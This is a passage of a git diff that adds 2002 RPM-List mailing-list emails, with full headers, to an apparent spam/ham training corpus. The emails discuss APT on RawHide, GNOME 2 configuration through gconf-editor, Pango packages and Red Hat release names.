drivers. Yeah, I know it's a pain... + Load BOTH mesa, mesa-demos and basically everything that comes in the mesa rpm. + THEN load NVidia; it'll know what to do. + + ...but it seems like I had to do this on 7.2, too. + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01196.bb7416e12487e0b579c7f4d190644970 b/bayes/spamham/easy_ham_2/01196.bb7416e12487e0b579c7f4d190644970 new file mode 100644 index 0000000..0d3b035 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01196.bb7416e12487e0b579c7f4d190644970 @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Tue Aug 6 11:13:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 328174412A + for ; Tue, 6 Aug 2002 06:09:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:09:09 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73HeEv21552 for + ; Sat, 3 Aug 2002 18:40:14 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g73HW2J23725; Sat, 3 Aug 2002 19:32:03 + +0200 +Received: from gateway.gestalt.entity.net + (host217-39-70-155.in-addr.btopenworld.com [217.39.70.155]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g73HVnJ23693 for + ; Sat, 3 Aug 2002 19:31:49 +0200 +Received: from turner.gestalt.entity.net (turner.gestalt.entity.net + [192.168.0.253]) by gateway.gestalt.entity.net (8.11.6/8.11.2) with ESMTP + id g73HZJ915850 for ; Sat, 3 Aug 2002 18:35:19 + +0100 +Subject: APT, gcc-3.2-0.1 +From: Dave Cridland +To: rpm-zzzlist@freshrpms.net +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 (1.0.8-4) +Message-Id: <1028396119.14824.369.camel@turner.gestalt.entity.net> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 03 Aug 2002 18:35:19 +0100 +Date: 03 Aug 2002 18:35:19 +0100 + +Hiya folks, + +I'm currently running RawHide, since I had the brilliant idea that, by +using APT, it might actually be practical to keep up with the +developments. + +However, APT seems to want a recompile - its sometimes leaving the RPM +database in need of a db_recover - and gcc 3.2 seems to require a closer +adherence to the standard than the C++ in APT was written for. + +This is a bit of a bummer. + +Does anyone know if there's a latest version I could try which might +work, or whether I should simply do the porting myself? (I've made a +start, but there's a fair amount of work to do.) + +If this works out, I might start a repository for the freshrpms compiled +on vLatest RawHide, for my own purposes and anyone else who's +interested. + +Dave. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01197.dc4ef655f103b591edd2b5f0956c414f b/bayes/spamham/easy_ham_2/01197.dc4ef655f103b591edd2b5f0956c414f new file mode 100644 index 0000000..a362398 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01197.dc4ef655f103b591edd2b5f0956c414f @@ -0,0 +1,89 @@ +From rpm-list-admin@freshrpms.net Fri Aug 9 15:11:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 79A5B43FB1 + for ; Fri, 9 Aug 2002 10:11:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:11:43 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79E6lb04743 for + ; Fri, 9 Aug 2002 15:06:47 +0100 +Received: from egwn.net ([193.172.5.4]) by webnote.net (8.9.3/8.9.3) with + ESMTP id NAA06043 for ; Fri, 9 Aug 2002 13:16:56 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g79CA7J12292; Fri, 9 Aug 2002 14:10:07 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g79C9IJ11320; Fri, + 9 Aug 2002 14:09:18 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g79C96M00680; Fri, 9 Aug 2002 07:09:06 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: matthias@egwn.net +Subject: Re: Pango problems +Message-Id: <20020809070906.4c942cbd.kilroy@kamakiriad.com> +In-Reply-To: <20020809103423.28a52d56.matthias@egwn.net> +References: <20020807182804.5d5e4dcb.kilroy@kamakiriad.com> + <20020808173048.18b4bb62.matthias@egwn.net> + <20020808110003.4a20abd4.kilroy@kamakiriad.com> + <20020808181551.70b1f8b9.matthias@egwn.net> + <1028827085.18927.7.camel@fuggles> + <20020809103423.28a52d56.matthias@egwn.net> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 07:09:06 -0500 +Date: Fri, 9 Aug 2002 07:09:06 -0500 + +On Fri, 9 Aug 2002 10:34:23 +0200, Matthias Saou wrote: + +> Well, I stand corrected :-) +> The thing is, I hadn't used gconf-editor yet... and it's exactly what I +> feared, old "not so good" memories are coming back : It looks exactly like +> a GNOME RegEdit :-/ Oh well. +> I still hope that the few missing features I'm still looking for will be +> added in the next 2.0.x releases, like for example being able to have the +> panel always under *all* other windows (if you know how to do that, I'm +> really interested! ;-)). +> + Ya know, I was thinking the same thing. But there's at least two main 'opposing thumbs' between regedit and gconf: + + 1. GConf is written in English, not symbol tables; you can actually READ what the heck you're looking at. + + 2. Because it's better-considered, it should be more sound; when the registry gets a wrong value, you may not be able to boot....if GConf is scrogged, you can still have all the underlying power of the OS to keep things running....just call up WindowMaker (or whatever) for the next session until you get it worked out. + + It took me a while to warm up to it...but I *do* like Gconf... + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +"Waddling" into the mainstream? I suppose... +http://www.usatoday.com/usatonline/20020805/4333165s.htm + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01198.36d6b4ab547f4246dea55380b9504064 b/bayes/spamham/easy_ham_2/01198.36d6b4ab547f4246dea55380b9504064 new file mode 100644 index 0000000..69e5ee9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01198.36d6b4ab547f4246dea55380b9504064 @@ -0,0 +1,89 @@ +From rpm-list-admin@freshrpms.net Fri Aug 9 15:20:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 81C6F4406D + for ; Fri, 9 Aug 2002 10:20:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:39 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EJjb06142 for + ; Fri, 9 Aug 2002 15:19:46 +0100 +Received: from egwn.net ([193.172.5.4]) by webnote.net (8.9.3/8.9.3) with + ESMTP id JAA04621 for ; Fri, 9 Aug 2002 09:51:18 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g798dNJ07967; Fri, 9 Aug 2002 10:39:23 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g798bsJ04590 for + ; Fri, 9 Aug 2002 10:37:54 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Pango problems +Message-Id: <20020809103423.28a52d56.matthias@egwn.net> +In-Reply-To: <1028827085.18927.7.camel@fuggles> +References: <20020807182804.5d5e4dcb.kilroy@kamakiriad.com> + <20020808173048.18b4bb62.matthias@egwn.net> + <20020808110003.4a20abd4.kilroy@kamakiriad.com> + <20020808181551.70b1f8b9.matthias@egwn.net> + <1028827085.18927.7.camel@fuggles> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 10:34:23 +0200 +Date: Fri, 9 Aug 2002 10:34:23 +0200 + +Once upon a time, Julian wrote : + +> One of the things you need to understand with gnome2 is that while they +> did simplify a lot of things, most of the configuration options people +> found very useful are still available through gconf. Learn to love +> gconf-editor ;) -- metacity can have sloppy focus (Desktop Preferences +> -> Window Focus -- there's actually GUI for that), and the delay until +> raising (and whether it raises) can be set in gconf-editor, +> /apps/metacity/general/auto_raise and auto_raise_delay + +Well, I stand corrected :-) +The thing is, I hadn't used gconf-editor yet... and it's exactly what I +feared, old "not so good" memories are coming back : It looks exactly like +a GNOME RegEdit :-/ Oh well. +I still hope that the few missing features I'm still looking for will be +added in the next 2.0.x releases, like for example being able to have the +panel always under *all* other windows (if you know how to do that, I'm +really interested! ;-)). + +Cheers, +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01199.9a0fef8c4a0df5974f17ad9dfd188d2a b/bayes/spamham/easy_ham_2/01199.9a0fef8c4a0df5974f17ad9dfd188d2a new file mode 100644 index 0000000..0a26bef --- /dev/null +++ b/bayes/spamham/easy_ham_2/01199.9a0fef8c4a0df5974f17ad9dfd188d2a @@ -0,0 +1,89 @@ +From rpm-list-admin@freshrpms.net Fri Aug 9 15:56:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2F617440DE + for ; Fri, 9 Aug 2002 10:55:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:55:40 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EXVb07976 for + ; Fri, 9 Aug 2002 15:33:31 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id XAA01634 for ; + Thu, 8 Aug 2002 23:11:09 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g78M52J02911; Fri, 9 Aug 2002 00:05:02 + +0200 +Received: from web20802.mail.yahoo.com (web20802.mail.yahoo.com + [216.136.226.191]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g78M3eJ02289 for ; Fri, 9 Aug 2002 00:03:41 +0200 +Message-Id: <20020808220339.89865.qmail@web20802.mail.yahoo.com> +Received: from [192.35.37.20] by web20802.mail.yahoo.com via HTTP; + Thu, 08 Aug 2002 15:03:39 PDT +From: Doug Stewart +Subject: Naming theories +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <1028840182.16079.0.camel@localhost.localdomain> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 15:03:39 -0700 (PDT) +Date: Thu, 8 Aug 2002 15:03:39 -0700 (PDT) + +I've noticed that the theories on the interconnection +between the latest RH releases is lagging a bit. In +the interests of a fun discussion, anyone have any +ideas? + +So here's some conspiracy bits to lay out. Can anyone +fit the pieces together? + +"Chesapeake Skipjacks" are a class of boats: +http://carloulton.htmlplanet.com/SKIPJACK/boat.html + +Also note: "They were developed from the lines of the +Chesapeake Bay Log Canoe, the Brogan, and the famous +Clipper Ships." Clipper Ships (Chips)? + +Chesapeake College's mascot(s) is(are) the Skipjacks: +http://www.chesapeake.edu/athletics/athletics_side.asp?sport=6 + +This guy owns a "Chesapeake 32" named "Valhalla": +http://www.matella.com/chesapeake1.htm + +Now, Valhalla -> Limbo seems a little clearer, both +being afterlife-ish concepts of roughly Norse +extraction. + +Anyone else? + +.Doug + + + +__________________________________________________ +Do You Yahoo!? +HotJobs - Search Thousands of New Jobs +http://www.hotjobs.com + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01200.7cad0240e6c9e66d013ca8a7c2268871 b/bayes/spamham/easy_ham_2/01200.7cad0240e6c9e66d013ca8a7c2268871 new file mode 100644 index 0000000..69ca98c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01200.7cad0240e6c9e66d013ca8a7c2268871 @@ -0,0 +1,109 @@ +From rpm-list-admin@freshrpms.net Fri Aug 9 16:00:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AC85E440E9 + for ; Fri, 9 Aug 2002 10:57:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:57:51 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EZKb08327 for + ; Fri, 9 Aug 2002 15:35:20 +0100 +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id WAA01071 for ; + Thu, 8 Aug 2002 22:03:10 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g78Kv2J01651; Thu, 8 Aug 2002 22:57:02 + +0200 +Received: from imf13bis.bellsouth.net (mail213.mail.bellsouth.net + [205.152.58.153]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g78KuTJ01503 for ; Thu, 8 Aug 2002 22:56:29 +0200 +Received: from adsl-157-16-104.msy.bellsouth.net ([66.157.16.104]) by + imf13bis.bellsouth.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with ESMTP id + <20020808205756.OYXL9094.imf13bis.bellsouth.net@adsl-157-16-104.msy.bellsouth.net> + for ; Thu, 8 Aug 2002 16:57:56 -0400 +Subject: Re: Pango problems +From: Lance +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020808173048.18b4bb62.matthias@egwn.net> +References: <20020807182804.5d5e4dcb.kilroy@kamakiriad.com> + <20020808173048.18b4bb62.matthias@egwn.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 (1.0.8-4) +Message-Id: <1028840182.16079.0.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 08 Aug 2002 15:56:21 -0500 +Date: 08 Aug 2002 15:56:21 -0500 + +I find Gnome2 with Red Hat's Limbo to be quite nice. + +On Thu, 2002-08-08 at 10:30, Matthias Saou wrote: +> Once upon a time, Brian wrote : +> +> > I'm using the Gnome2 set of rpms through apt. It's very good, though +> > it's shy of converted apps and such. I really like it; it's the +> > simple, stable competitor to Windows(tm) that we all need/want/etc. +> +> Well, you can already remove me from your "all" statement... :-( I've been +> using GNOME 2 at home ever since it made it into Rawhide, and I must say +> that I feel really uncomfortable with it : Things are just too limited and +> you're now asked to stick with the defaults. I've already switched back +> from Metacity to Sawfish, but for the main GNOME stuff like the panel and +> the control center... there are now too few options for "advanced users" +> like me who like to be able to configure as much as possible. +> +> Let's see how it evolves... but the GNOME guys who decide seem to want to +> change everything to be as simple and limited as possible to not confuse +> the basic (lower then average IMHO) user. So in the meantime, I stick with +> GNOME 1.4 and I'm quite happy with how it performs in my daily tasks +> although it doesn't have the nice look of anti-aliased fonts (I mainly use +> and LCD screen and projector anyway). +> +> > Problem is, though, Pango (a package that deals with international +> > font rendering) hasn't been made available to the apt repository on +> > Sunmore.net. +> +> Maybe try grabbing it from the latest Red Hat Linux beta (Limbo) or from +> Rawhide... +> +> > Who the heck do I contact for this, anyway? +> +> Not me, sorry! +> +> Matthias +> +> -- +> Matthias Saou World Trade Center +> ------------- Edificio Norte 4 Planta +> System and Network Engineer 08039 Barcelona, Spain +> Electronic Group Interactive Phone : +34 936 00 23 23 +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01201.67ca3a438632acc08183a2e977619e15 b/bayes/spamham/easy_ham_2/01201.67ca3a438632acc08183a2e977619e15 new file mode 100644 index 0000000..d6aabe6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01201.67ca3a438632acc08183a2e977619e15 @@ -0,0 +1,106 @@ +From rpm-list-admin@freshrpms.net Fri Aug 9 16:03:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CDFF6440DB + for ; Fri, 9 Aug 2002 10:59:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:59:00 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79Egmb09409 for + ; Fri, 9 Aug 2002 15:42:48 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id SAA32104 for ; + Thu, 8 Aug 2002 18:28:11 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g78HJ1J11248; Thu, 8 Aug 2002 19:19:02 + +0200 +Received: from mail.aspect.net + (postfix@adsl-65-69-210-161.dsl.hstntx.swbell.net [65.69.210.161]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g78HI7J11160 for + ; Thu, 8 Aug 2002 19:18:07 +0200 +Received: from [9.95.46.136] (bi-01pt1.bluebird.ibm.com [129.42.208.186]) + by mail.aspect.net (Postfix) with ESMTP id 9F22C6D5CD for + ; Thu, 8 Aug 2002 12:05:26 -0500 (CDT) +Subject: Re: Pango problems +From: Julian Missig +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020808181551.70b1f8b9.matthias@egwn.net> +References: <20020807182804.5d5e4dcb.kilroy@kamakiriad.com> + <20020808173048.18b4bb62.matthias@egwn.net> + <20020808110003.4a20abd4.kilroy@kamakiriad.com> + <20020808181551.70b1f8b9.matthias@egwn.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.5 (1.0.5-2.4) +Message-Id: <1028827085.18927.7.camel@fuggles> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 08 Aug 2002 13:18:04 -0400 +Date: 08 Aug 2002 13:18:04 -0400 + +On Thu, 2002-08-08 at 12:15, Matthias Saou wrote: +> I didn't say it wasn't nice! It looks great, but... it clearly doesn't suit +> my needs or tastes : +> - I'm a sloppy focus addict... and I configured sawfish to behave exactly +> like I want for window focus and delayed raising as well as separating +> windows per desktop or placing transient windows. For all these reasons and +> many others, Metacity that Havoc Pennington wants to keep basic and simple +> is right out! :-( + +One of the things you need to understand with gnome2 is that while they +did simplify a lot of things, most of the configuration options people +found very useful are still available through gconf. Learn to love +gconf-editor ;) -- metacity can have sloppy focus (Desktop Preferences +-> Window Focus -- there's actually GUI for that), and the delay until +raising (and whether it raises) can be set in gconf-editor, +/apps/metacity/general/auto_raise and auto_raise_delay + +> - I like the ability to have sliding panels that auto-hide in GNOME... but +> with the new panel you can't specify the amount of pixels by which it +> sticks out anymore :-( + +/apps/panel/global/panel_minimized_size + +> +> These are only two examples, I could find more : Each time I use GNOME 2 +> I'm quickly irritated by a little something that suited me better in 1.4. + +Well, it definitely is not the same as 1.4. Some people will always like +gnome 1 better. Whatever suits your needs. + +> I'm not saying that GNOME 2 is bad, poorly conceived or ugly. It'll +> probably even get very good critics from reviewers that are used to Windows +> or MacOS X, where I also feel "limited" myself. + +I think you need to understand that simplifying the configuration +options and the UI does make it a lot easier to use for people who are +either not using it all the time or are just starting to use it. The +GNOME team decided that advanced users who want to edit the kinds of +options you talk about are advanced enough to use gconf-editor. +Personally, I'm fine with that, because I don't find gconf-editor hard +to use :) + +Julian + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01202.0896a21e4a21e36df79b6adcdd443117 b/bayes/spamham/easy_ham_2/01202.0896a21e4a21e36df79b6adcdd443117 new file mode 100644 index 0000000..59fdf88 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01202.0896a21e4a21e36df79b6adcdd443117 @@ -0,0 +1,61 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 10:50:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1DD1843FB1 + for ; Mon, 12 Aug 2002 05:50:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:50:05 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79JWTb22642 for + ; Fri, 9 Aug 2002 20:32:29 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g79JA3J08463; Fri, 9 Aug 2002 21:10:03 + +0200 +Received: from web20007.mail.yahoo.com (web20007.mail.yahoo.com + [216.136.225.70]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g79J90J05150 for ; Fri, 9 Aug 2002 21:09:00 +0200 +Message-Id: <20020809190859.63583.qmail@web20007.mail.yahoo.com> +Received: from [12.41.224.3] by web20007.mail.yahoo.com via HTTP; + Fri, 09 Aug 2002 12:08:59 PDT +From: Joshua Daniel Franklin +Subject: Re: GConf registry (was Re: Pango problems) +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <1028913879.23102.6.camel@fuggles> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 12:08:59 -0700 (PDT) +Date: Fri, 9 Aug 2002 12:08:59 -0700 (PDT) + +I think this sort of discussion would be better on a GNOME list... I hate to +complain, but this thread has been going on for several days. I don't really +mind deleting the messages every time, but there's really no reason for it +on this list. + + +__________________________________________________ +Do You Yahoo!? +HotJobs - Search Thousands of New Jobs +http://www.hotjobs.com + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01203.3b68e16d3b1254cee663497d35a13870 b/bayes/spamham/easy_ham_2/01203.3b68e16d3b1254cee663497d35a13870 new file mode 100644 index 0000000..c3238cd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01203.3b68e16d3b1254cee663497d35a13870 @@ -0,0 +1,100 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 10:50:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 046D8440DC + for ; Mon, 12 Aug 2002 05:50:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:50:09 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79JeOb22866 for + ; Fri, 9 Aug 2002 20:40:24 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g79JY1J18090; Fri, 9 Aug 2002 21:34:01 + +0200 +Received: from imf03bis.bellsouth.net (mail303.mail.bellsouth.net + [205.152.58.163]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g79JXlJ17418 for ; Fri, 9 Aug 2002 21:33:47 +0200 +Received: from adsl-157-16-163.msy.bellsouth.net ([66.157.16.163]) by + imf03bis.bellsouth.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with ESMTP id + <20020809193516.XIYO1195.imf03bis.bellsouth.net@adsl-157-16-163.msy.bellsouth.net> + for ; Fri, 9 Aug 2002 15:35:16 -0400 +Subject: Re: Pango problems +From: Lance +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020809173000.0cbd8458.matthias@egwn.net> +References: <20020807182804.5d5e4dcb.kilroy@kamakiriad.com> + <20020808173048.18b4bb62.matthias@egwn.net> + <20020808110003.4a20abd4.kilroy@kamakiriad.com> + <20020808181551.70b1f8b9.matthias@egwn.net> + <1028827085.18927.7.camel@fuggles> + <20020809103423.28a52d56.matthias@egwn.net> + <20020809070906.4c942cbd.kilroy@kamakiriad.com> + <20020809175131.A17958@azrael.smilehouse.com> + 